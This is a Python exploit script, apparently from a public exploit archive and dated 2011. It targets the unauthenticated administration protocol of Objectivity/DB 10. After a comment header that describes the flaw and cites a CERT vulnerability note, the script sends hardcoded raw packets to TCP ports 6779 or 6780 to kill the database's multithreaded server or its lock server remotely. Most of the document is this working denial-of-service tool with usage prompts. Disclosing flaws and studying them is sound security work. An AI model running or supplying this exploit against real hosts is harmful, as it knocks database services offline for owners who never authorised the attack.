| 
	  #!/usr/bin/python # obj.py # Objectivity/DB Lack of Authentication Remote Exploit # Jeremy Brown [0xjbrown41-gmail-com] # Jan 2011 # # "Objectivity, Inc. is a leader in distributed, scalable database technology. # Our patented data management engine and persistent object store is the enabling # technology powering some of the most complex applications and mission critical # systems used in government, business and science organizations today." # # Objectivity/DB includes many different tools for administration. The # problem is, anyone can use these tools to perform operations on the host # running the lock server, advanced multithreaded server, and probably # it's other servers as well, without any authentication. This design flaw # puts the host running these servers at risk of potentially unauthorized # operations being performed on the system, locally or remotely. # # This code demostrates a couple of the easiest operations to replicate # by hand, like killing the lock and am servers. The suite contains lots # of other admin tools that do various, more interesting tasks with the # Objectivity/DB, such as oobackup, oonewfd, oodeletefd, oodebug, etc... # # Tested on Objectivity/DB 10 running on Windows # # Fixed version: N/A, US-CERT coordinated the communication and released # a vulnerability note after the vendor did not provide additional feedback. # # http://www.kb.cert.org/vuls/id/782567 # 
import sys import socket 
kill_ooams=( "\x0d\x03"+ "\x00"*5+ "\x02"+ "\x00"*3+ "\x19\xf0\x92\xed\x89\xf4\xe8\x95\x43\x03"+ "\x00"*15+ "\x61\x62\x63"+ "\x00"+ "\x31\x32\x33\x34"+ "\x00"*3+ "\x05\x8c"+ "\x00"*3+ "\x0d"+ "\x00"*4 ) 
kill_ools=( "\x0d\x03"+ "\x00"*5+ "\x77"+ "\x00"*3+ "\x04\xad\xc4\xae\xda\x9e\x48\xd6\x44\x03"+ "\x00"*15 ) 
if len(sys.argv)<3:      print "Objectivity/DB Remote Exploit"      print "Usage: %s <target> <operation>"%sys.argv[0]      print "\nWhat would you like to do?\n"      print "[1] Kill the advanced multithreaded server"      print "[2] Kill the lock server"      print "For other operations, check out oobackup, oodebug, etc"      sys.exit(0) 
target=sys.argv[1] op=int(sys.argv[2]) 
if((op<1)|(op>2)):      print "Invalid operation"      sys.exit(1) 
if(op==1):      port=6779      data=kill_ooams 
if(op==2):      port=6780      data=kill_ools 
cs=target,port 
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect(cs) 
sock.send(data) 
sock.close()
   
	
  |